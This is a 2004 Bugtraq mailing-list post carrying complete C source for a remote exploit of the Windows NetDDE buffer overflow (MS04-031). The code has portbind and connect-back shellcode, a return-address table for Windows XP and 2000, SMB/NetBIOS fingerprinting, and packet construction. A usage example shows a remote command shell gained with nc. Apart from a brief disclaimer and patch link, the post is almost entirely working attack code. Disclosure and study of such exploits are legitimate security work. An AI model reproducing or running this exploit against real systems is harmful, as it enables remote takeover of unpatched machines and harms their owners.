Message-ID: <20041230233921.2776.qmail@www.securityfocus.com>
Date: 30 Dec 2004 23:39:21 -0000
From: houseofdabus HOD <houseofdabus@...ox.ru>
To: bugtraq@...urityfocus.com
Subject: [EXPL] (MS04-031) NetDDE buffer overflow vulnerability PoC




 
---snip---  
/* HOD-ms04031-netdde-expl.c: 2004-12-30: PUBLIC v.0.2  
 *  
 * Copyright (c) 2004 houseofdabus.  
 *  
 * (MS04-031) NetDDE buffer overflow vulnerability PoC  
 *  
 *  
 *  
 *  
 *                 .::[ houseofdabus ]::.  
 *  
 *  
 *  
 * (special unstable version)  
 * ---------------------------------------------------------------------  
 * Description:  
 *    A remote code execution vulnerability exists in the  
NetDDE  
 *    services because of an unchecked buffer. An attacker  
who  
 *    successfully exploited this vulnerability could take  
complete  
 *    control of an affected system. However, the NetDDE  
services are  
 *    not started by default and would have to be manually  
started for  
 *    an attacker to attempt to remotely exploit this  
vulnerability.  
 *    This vulnerability could also be used to attempt to  
perform  
 *    a local elevation of privilege or remote denial of  
service.  
 *  
 * ---------------------------------------------------------------------  
 * Patch:  
 *     
http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx  
 *  
 * ---------------------------------------------------------------------  
 * Tested on:  
 *    - Windows XP Professional SP0  
 *    - Windows XP Professional SP1  
 *    - Windows 2000 Professional SP2  
 *    - Windows 2000 Professional SP3  
 *    - Windows 2000 Professional SP4  
 *    - Windows 2000 Advanced Server SP4  
 *  
 * ---------------------------------------------------------------------  
 *    This is provided as proof-of-concept code only for  
educational  
 *    purposes and testing by authorized individuals with  
permission to  
 *    do so.  
 *  
 * ---------------------------------------------------------------------  
 * Compile:  
 *  
 * Win32/VC++  : cl -o HOD-ms04031-expl  
HOD-ms04031-expl.c  
 * Win32/cygwin: gcc -o HOD-ms04031-expl  
HOD-ms04031-expl.c -lws2_32.lib  
 * Linux       : gcc -o HOD-ms04031-expl  
HOD-ms04031-expl.c -Wall  
 *  
 * ---------------------------------------------------------------------  
 * Command Line Parameters/Arguments:  
 *  
 *   HOD-ms04031-expl.exe <host> <netbios name>  
<target> <bindport>  
 *                        [connectback IP] [options]  
 *  
 * Targets:  
 *        0 [0x00abfafc]: WinXP [universal]  
 *        1 [0x009efb40]: Win2K [universal]  
 *  
 * Options:  
 *        -f: Netbios name fingerprinting  
 *  
 * ---------------------------------------------------------------------  
 * Example:  
 *  
 * C:\>HOD-ms04031-expl.exe 192.168.0.1 -f  
 * [*] Connecting to 192.168.0.1:139 ... OK  
 * [*] Fingerprinting... OK  
 * [+] Remote netbios name: HOD  
 *  
 * C:\>  
 * C:\>HOD-ms04031-expl.exe 192.168.0.1 HOD 1 7878  
 * [*] Connecting to 192.168.0.1:139 ... OK  
 * [*] Attacking 192.168.0.1 ...OK.  
 *  
 * C:\>nc 192.168.0.1 7878  
 *  
 * Microsoft Windows 2000 [Version 5.00.2195]  
 * (C) Copyright 1985-2000 Microsoft Corp.  
 *  
 * C:\WINNT\system32>  
 *  
 * ---------------------------------------------------------------------  
 */  
  
  
/* #define _WIN32 */  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
#ifdef _WIN32  
#include <winsock2.h>  
#pragma comment(lib, "ws2_32")  
#else  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <sys/socket.h>  
#endif  
  
  
/* targets table */  
struct targets {  
	int	num;  
	char	name[50];  
	long	jmpaddr;  
}  
target[]= {  
	{ 0, "WinXP [universal] ", 0x00abfb1c - 0x20 },  
	{ 1, "Win2K [universal] ", 0x009efb60 - 0x20 }  
};  
  
  
/* portbind shellcode */  
unsigned char portbindsc[] =   
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"  
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"  
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"  
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"  
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"  
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"  
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"  
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"  
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"  
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"  
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"  
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"  
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"  
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"  
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"  
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"  
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"  
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"  
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"  
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"  
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"  
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"  
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"  
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"  
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"  
"\x28\xff\x55\x0c";  
  
  
/* connectback shellcode */  
unsigned char connectbacksc[] =   
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"  
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"  
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"  
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"  
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"  
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"  
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"  
"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"  
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"  
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"  
"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"  
"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"  
"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"  
"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"  
"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"  
"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"  
"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"  
"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"  
"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"  
"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"  
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"  
"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"  
"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"  
"\x77\x38\xff\x55\x20\xff\x55\x0c";  
  
  
#define SET_PORTBIND_PORT(buf, port)	*(unsigned  
short *)(((buf)+300)) = (port)  
#define SET_CONNECTBACK_IP(buf, ip)	*(unsigned  
long  *)(((buf)+283)) = (ip)  
#define SET_CONNECTBACK_PORT(buf, port)	 
*(unsigned short *)(((buf)+290)) = (port)  
  
  
/*   
   eax = target[].jmpaddr -> stack -> jmpcode -> shellcode  
  
   1. 0100D605   call        dword ptr [eax+20h]  
   2. jmpcode  
   3. shellcode  
*/  
  
char jmpcode[] =  
"\x90\x90\x90\x90\x66\x81\xC7\x20\x03\xFF\xE7\x90\x90\x90\x90\x90"  
"\x50\x6f\x43\x20\x66\x6f\x72\x20\x4e\x65\x74\x44\x44\x45\x20\x28"  
"\x4d\x53\x30\x34\x2d\x30\x33\x31\x29\x2e\x20\x43\x6f\x70\x79\x72"  
"\x69\x67\x68\x74\x20\x28\x63\x29\x20\x32\x30\x30\x34\x2d\x32\x30"  
"\x30\x35\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62\x75\x73\x2e"  
"\xBB\xBB\xBB\xBB" /* => eax */  
"PADPAD";  
  
char smb_sesreq[] =  
"\x81\x00\x00\x44\x20\x43\x4b\x46\x44\x45\x4e\x45\x43\x46\x44\x45"  
"\x46\x46\x43\x46\x47\x45\x46\x46\x43\x43\x41\x43\x41\x43\x41\x43"  
"\x41\x43\x41\x43\x41\x00\x20\x45\x4b\x45\x44\x46\x45\x45\x49\x45"  
"\x44\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"  
"\x41\x43\x41\x43\x41\x41\x41\x00";  
  
char smb_negotiate[] =  
"\x00\x00\x00\x2f\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x02"  
"\x00\x00\x00\x00\x00\x0c\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e"  
"\x31\x32\x00";  
  
char d1[] =  
"\x0d\x12\x0b\x06\x0d\x18\x1c\x01\x10\x03\x12\x08\x1d\x1f\x0a\x0a"  
"\x16\x02\x17\x0e\x1b\x0d";  
  
char req1[] =  
"\x81\x00\x00\x44";  
  
char req2[] =  
"CACACACACACACACACACACACACACACABP";  
  
char h1[] =  
"\x45\x44\x44\x4E\x00\x00\x00";  
  
char h2[] =  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";  
  
char h3[] =  
"\x00\x00\x02\x02\x00\x00\x00\x01\x00\x00\x00";  
  
  
unsigned long ndlen = 0;  
unsigned long ntarget = 0;  
unsigned long backip = 0;  
unsigned short bindport = 0;  
  
  
  
unsigned long  
fixx(unsigned char *data, unsigned long i)  
{  
	unsigned long len;  
  
	len =	(data[i+3]<<24) +  
		(data[i+2]<<16) +  
		(data[i+1]<<8) +  
		(data[i]);  
  
return len;  
}  
  
  
unsigned long  
chksum(unsigned char *data, unsigned long dlen)  
{  
	unsigned long i, len;  
	unsigned long chk;  
  
	chk = 0xFFFFFFFF;  
	len = dlen - 4;  
  
	for (i=0; i<len; i+=4)  
		chk += fixx(data, i);  
  
	while (i < dlen) {  
		chk += (unsigned char)data[i];  
		i++;  
	}  
  
return chk;  
}  
  
  
char *  
netbios_encode(char *ndata, char service)  
{  
	char *tmpdata, *data, *nret;  
	unsigned long dlen;  
	char odiv, omod, o;  
	int i;  
  
	data = (char *)calloc(17, 1);  
	memcpy(data, ndata, strlen(ndata));  
  
	dlen = strlen(data);  
	while (dlen < 15) {  
		strcat(data, "\x20");  
		dlen++;  
	}  
  
	memcpy(data+strlen(data), &service, 1);  
  
	nret = (char *)calloc(strlen(data)*2+1, 1);  
	tmpdata = nret;  
  
	for (i=0; i<16; i++) {  
		o = (char)data[i];  
		odiv = o / 16;  
		odiv = odiv + 0x41;  
		omod = o % 16;  
		omod = omod + 0x41;  
		*tmpdata++ = odiv;  
		*tmpdata++ = omod;  
	}  
  
	free(data);  
  
return nret;  
}  
  
unsigned char *  
find_smbname(unsigned char *data, unsigned long len)  
{  
	unsigned char *ptr;  
	unsigned long i = 0;  
  
	ptr = data;  
	ptr += 91;  
  
	while (i <= len - 3) {  
		if (ptr[i] == '\x00')  
		if (ptr[i+1] == '\x00')  
		if (ptr[i+2] == '\x00')  
			return ptr+i+3;  
	i++;  
	}  
  
return NULL;  
}  
  
/* fingerprinting */  
unsigned char *  
smb_get_name(char *ip)  
{  
	int sock, r;  
	unsigned long smbname_len;  
	unsigned char *name = NULL, *smbname;  
	struct sockaddr_in s;  
	struct hostent *he;  
	unsigned char buf[256];  
  
  
	if ((he = gethostbyname(ip)) == NULL) {  
		printf("[-] Unable to resolve %s\n", ip);  
		return NULL;  
	}  
  
	sock = socket(AF_INET, SOCK_STREAM,  
IPPROTO_TCP);  
	if (sock < 0) return NULL;  
  
	s.sin_family = AF_INET;  
	s.sin_addr = *((struct in_addr *)he->h_addr);  
	s.sin_port = htons(139);  
	memset(&(s.sin_zero), '\0', 8);  
  
	memset(buf, 0, 256);  
  
	printf("[*] Connecting to %s:139 ... ", ip);  
	r = connect(sock, (struct sockaddr *) &s, sizeof(struct  
sockaddr_in));  
	if (r == 0) {  
		printf("OK\n[*] Fingerprinting... ");  
		/* sending session request */  
		send(sock, smb_sesreq, sizeof(smb_sesreq)-1,  
0);  
		Sleep(1000);  
		r = recv(sock, (char *)buf, 256, 0);  
		if (r < 0) goto err;  
  
		memset(buf, 0, 256);  
		/* sending negotiation request */  
		send(sock, smb_negotiate,  
sizeof(smb_negotiate)-1, 0);  
		Sleep(1000);  
		r = recv(sock, (char *)buf, 256, 0);  
		if (r < 0) goto err;  
  
		printf("OK\n");  
		smbname = find_smbname(buf, r);  
		if (smbname == NULL) goto err;  
		smbname_len = smbname - buf;  
  
		name = (unsigned char *)calloc(smbname_len,  
1);  
  
		/* decoding */  
		r = 0;  
		while (smbname_len) {  
			if (*smbname != '\x00') {  
				name[r] = *smbname;  
				r++;  
			}  
			smbname++;  
			smbname_len--;  
		}  
	} else {  
		printf("failed\n[-] Can't connect to %s:139\n", ip);  
	}  
  
err:  
	shutdown(sock, 1);  
	closesocket(sock);  
  
return name;  
}  
  
  
/* NetDDE packet */  
char *  
packet_assembly(char *name, char *host)  
{  
	char *main, *header, *data;  
	char *lname, *rhost;  
	unsigned long llen, rlen, len, hlen, dlen, csum, i;  
	unsigned char name_hi, name_low, rhost_hi,  
rhost_low;  
	unsigned char hod_hi, hod_low, len_hi, len_low;  
	unsigned char nops[] = "\x90\x90\x90\x90"; /* nops */  
	char hod[] = "HOD-HOD\x01";  
	char hmain[] = "\x01\x00\xBE\x05\x0A\x00\x00";  
	char tmp[8];  
  
  
	llen = strlen(name) + 4;  
	rlen = strlen(host);  
	lname = (char *)calloc(llen + 3, 1);  
	rhost = (char *)calloc(rlen + 3, 1);  
  
	memcpy(lname, name, llen);  
	strcpy(rhost, host);  
	memcpy(lname + llen, "\x01", 1);  
	strcat(rhost, "\x01");  
  
	name_hi   = (unsigned char) ((llen+1) / 256);  
	name_low  = (unsigned char) ((llen+1) % 256);  
	rhost_hi  = (unsigned char) ((rlen + llen + 2) / 256);  
	rhost_low = (unsigned char) ((rlen + llen + 2) % 256);  
  
	len = sizeof(hod) - 1;  
	hod_hi  = (unsigned char) (len / 256);  
	hod_low = (unsigned char) (len % 256);  
  
	main = (char *)calloc(	sizeof(hod)-1 +  
				sizeof(hmain)-1 +  
				llen + rlen +  
				11, 1 );  
  
	memcpy(main, hmain, sizeof(hmain)-1);  
	sprintf(tmp, "%c%c%c%c%c%c", name_hi, name_low,  
		rhost_hi, rhost_low, hod_hi, hod_low);  
  
	memcpy(main+sizeof(hmain)-1, tmp, 6);  
	memcpy(main+sizeof(hmain)-1+6, "\x00", 1);  
	memcpy(main+sizeof(hmain)-1+7, lname, llen+1);  
	memcpy(main+sizeof(hmain)-1+7+llen+1, rhost,  
rlen+1);  
	memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1, hod,  
sizeof(hod)-1);  
	 
memcpy(main+sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1,  
			"\x2e", 1);  
  
	len =  
sizeof(hmain)-1+7+llen+1+rlen+1+sizeof(hod)-1+1;  
	len_hi  = (unsigned char) (len / 256);  
	len_low = (unsigned char) (len % 256);  
  
  
	/* header */  
	header = (char *)calloc(sizeof(h1)-1 +  
				sizeof(h2)-1 +  
				sizeof(h3)-1 +  
				9, 1);  
  
	memcpy(header, h1, sizeof(h1)-1);  
	sprintf(tmp, "%c%c", len_hi, len_low);  
	memcpy(header+sizeof(h1)-1, tmp, 2);  
	memcpy(header+sizeof(h1)-1+2, h2, sizeof(h2)-1);  
	memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1, tmp, 2);  
	memcpy(header+sizeof(h1)-1+2+sizeof(h2)-1+2, h3,  
sizeof(h3)-1);  
  
	csum = chksum(main, len);  
	memcpy(header+sizeof(h1)-1+sizeof(h2)-1+4  
			+ sizeof(h3)-1, &csum, 4);  
  
  
	/* data */  
	hlen = sizeof(h1)-1 + sizeof(h2)-1 + sizeof(h3)-1 + 8;  
	data = (char *)calloc(	sizeof(d1)-1 +  
				len+hlen +  
				37 +  
				1200, 1 );  
  
	csum = chksum(header, hlen);  
	memcpy(data+4, &csum, 4);  
	memcpy(data+4+4, header, hlen);  
	memcpy(data+4+4+hlen, main, len);  
	memcpy(data+4+4+hlen+len, d1, sizeof(d1)-1);  
  
	/* nops */  
	for (i=0; i<154; i++)  
		memcpy(data+4+4+hlen+len+sizeof(d1)-1 + i*4,  
nops, 4);  
  
	/* shellcode */  
	if (!backip) {  
		/* portbind */  
		SET_PORTBIND_PORT(portbindsc,  
htons(bindport));  
		 
memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,  
portbindsc, sizeof(portbindsc)-1);  
		dlen =  
4+hlen+len+sizeof(d1)-1+sizeof(portbindsc)-1+154*4;  
	} else {  
		/* connectback */  
		SET_CONNECTBACK_IP(connectbacksc,  
backip);  
		SET_CONNECTBACK_PORT(connectbacksc,  
htons(bindport));  
		 
memcpy(data+4+4+hlen+len+sizeof(d1)-1+154*4,  
connectbacksc, sizeof(connectbacksc)-1);  
		dlen =  
4+hlen+len+sizeof(d1)-1+sizeof(connectbacksc)-1+154*4;  
	}  
  
	ndlen = dlen + 4;  
	dlen = htonl(dlen);  
	memcpy(data, &dlen, 4);  
  
	free(lname);  
	free(rhost);  
	free(main);  
	free(header);  
  
return data;  
}  
  
  
void  
usage(char *prog)  
{  
	int i;  
  
	printf("%s <host> <netbios name> <target> <bindport>  
[connectback IP] [options]\n\n", prog);  
	printf("Targets:\n");  
	for (i = 0; i < 2; i++)  
		printf("	%d [0x%.8x]: %s\n", target[i].num,  
target[i].jmpaddr, target[i].name);  
	printf("\nOptions:\n\t-f: Netbios name fingerprinting\n");  
	exit(0);  
  
}  
  
void  
vargs(int argc, char **argv)  
{  
	int i, finger = 0;  
	char *nname = NULL;  
  
	for (i = 2; i < argc; i++) {  
		if (argv[i][0] == '-') {  
			if (argv[i][1] == 'f')  
				finger = 1;  
		}  
	}  
  
	if (finger && argc > 2) {  
		nname = smb_get_name(argv[1]);  
		if (nname) {  
			printf("[+] Remote netbios name: %s\n",  
nname);  
			free(nname);  
		}  
		exit(0);  
	} else  
	if (argc < 5) usage(argv[0]);  
	if ((ntarget = atoi(argv[3])) > 1) usage(argv[0]);  
  
	bindport = (unsigned short)atoi(argv[4]);  
	if (argc > 5) backip = inet_addr(argv[5]);  
  
return;  
}  
  
  
  
int  
main (int argc, char **argv)  
{  
  
	int len, sockfd;  
	char *host;  
	char *req;  
	struct hostent *he;  
	struct sockaddr_in their_addr;  
	char rbuf[4096];  
  
#ifdef _WIN32  
	WSADATA wsa;  
#endif  
  
	char *ses_req;  
	char *data, *hname;  
	char *hn, *hn2;  
	unsigned long req_sz, hname_len, hn_len;  
  
  
#ifdef _WIN32  
	WSAStartup(MAKEWORD(2,0), &wsa);  
#endif  
  
  
	printf("\n      (MS04-031) NetDDE buffer overflow  
vulnerability PoC\n\n");  
	printf("\tCopyright (c) 2004-2005 .::[ houseofdabus  
]::.\n\n\n");  
  
	vargs(argc, argv);  
  
	hn = argv[2];	/* target netbios name */  
	host = argv[1]; /* target host name */  
  
	if (strlen(host) > 1024) return 0;  
  
	/* target jmpaddr */  
	memcpy(jmpcode+80, &target[ntarget].jmpaddr, 4);  
  
	ses_req = (char *)calloc(sizeof(req1)-1 +  
				 sizeof(req2)-1 +  
				 114, 1);  
  
	memcpy(ses_req, req1, sizeof(req1)-1);  
	memcpy(ses_req+sizeof(req1)-1, "\x20", 1);  
  
	hname = netbios_encode(hn, 0x1F);  
	hname_len = strlen(hname);  
  
	memcpy(ses_req+sizeof(req1)-1+1, hname,  
hname_len);  
	memcpy(ses_req+sizeof(req1)-1+1+hname_len,  
"\x00\x20", 2);  
	memcpy(ses_req+sizeof(req1)-1+1+hname_len+2,  
req2, sizeof(req2)-1);  
	 
memcpy(ses_req+sizeof(req1)-1+1+hname_len+2+sizeof(req2)-1,  
"\x00", 1);  
  
	req_sz =  
sizeof(req1)-1+sizeof(req2)-1+hname_len+4;  
  
	if ((he = gethostbyname(host)) == NULL) {  
		printf("[-] Unable to resolve %s\n", host);  
		return 0;  
	}  
  
	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) <  
0) {  
		printf("[-] Error: socket failed\n");  
		return 0;  
	}  
  
	req = req1;  
  
	their_addr.sin_family = AF_INET;  
	their_addr.sin_port = htons(139);  
	their_addr.sin_addr = *((struct in_addr *)he->h_addr);  
	memset(&(their_addr.sin_zero), '\0', 8);  
  
	/* connecting */  
	printf("[*] Connecting to %s:139 ... ", host);  
	if (connect(sockfd, (struct sockaddr *)&their_addr,  
sizeof(struct sockaddr)) < 0) {  
		printf("[-] Error: connect failed\n");  
		return 0;  
	}  
	printf("OK\n");  
  
	if (send(sockfd, ses_req, req_sz, 0) < 0) {  
		printf("[-] Error: send failed\n");  
		return 0;  
	}  
  
	len = recv(sockfd, rbuf, 4096, 0);  
	if (len < 0) return 0;  
  
	/* check NetDDE */  
	if ((unsigned char)rbuf[0] != 0x82) {  
		printf("[-] NetDDE disabled or wrong netbios  
name\n");  
		return 0;  
	}  
  
	hn2 = (char *)calloc(16, 1);  
	memcpy(hn2, hn, strlen(hn));  
	hn_len = strlen(hn);  
  
	while (hn_len < 15) {  
		strcat(hn2, "\x20");  
		hn_len++;  
	}  
  
	/* attacking */  
	printf("[*] Attacking %s ...", host);  
  
	data = packet_assembly(jmpcode, hn2);  
  
	if (send(sockfd, data, ndlen, 0) < 0) {  
		printf("\n[-] Error: send failed\n");  
		return 0;  
	}  
	printf("OK.\n");  
	len = recv(sockfd, rbuf, 4096, 0);  
  
	shutdown(sockfd, 1);  
	closesocket(sockfd);  
	free(data);  
	free(hn2);  
	free(ses_req);  
	free(hname);  
  
return 0;  
}  
  
---snip--- 
 

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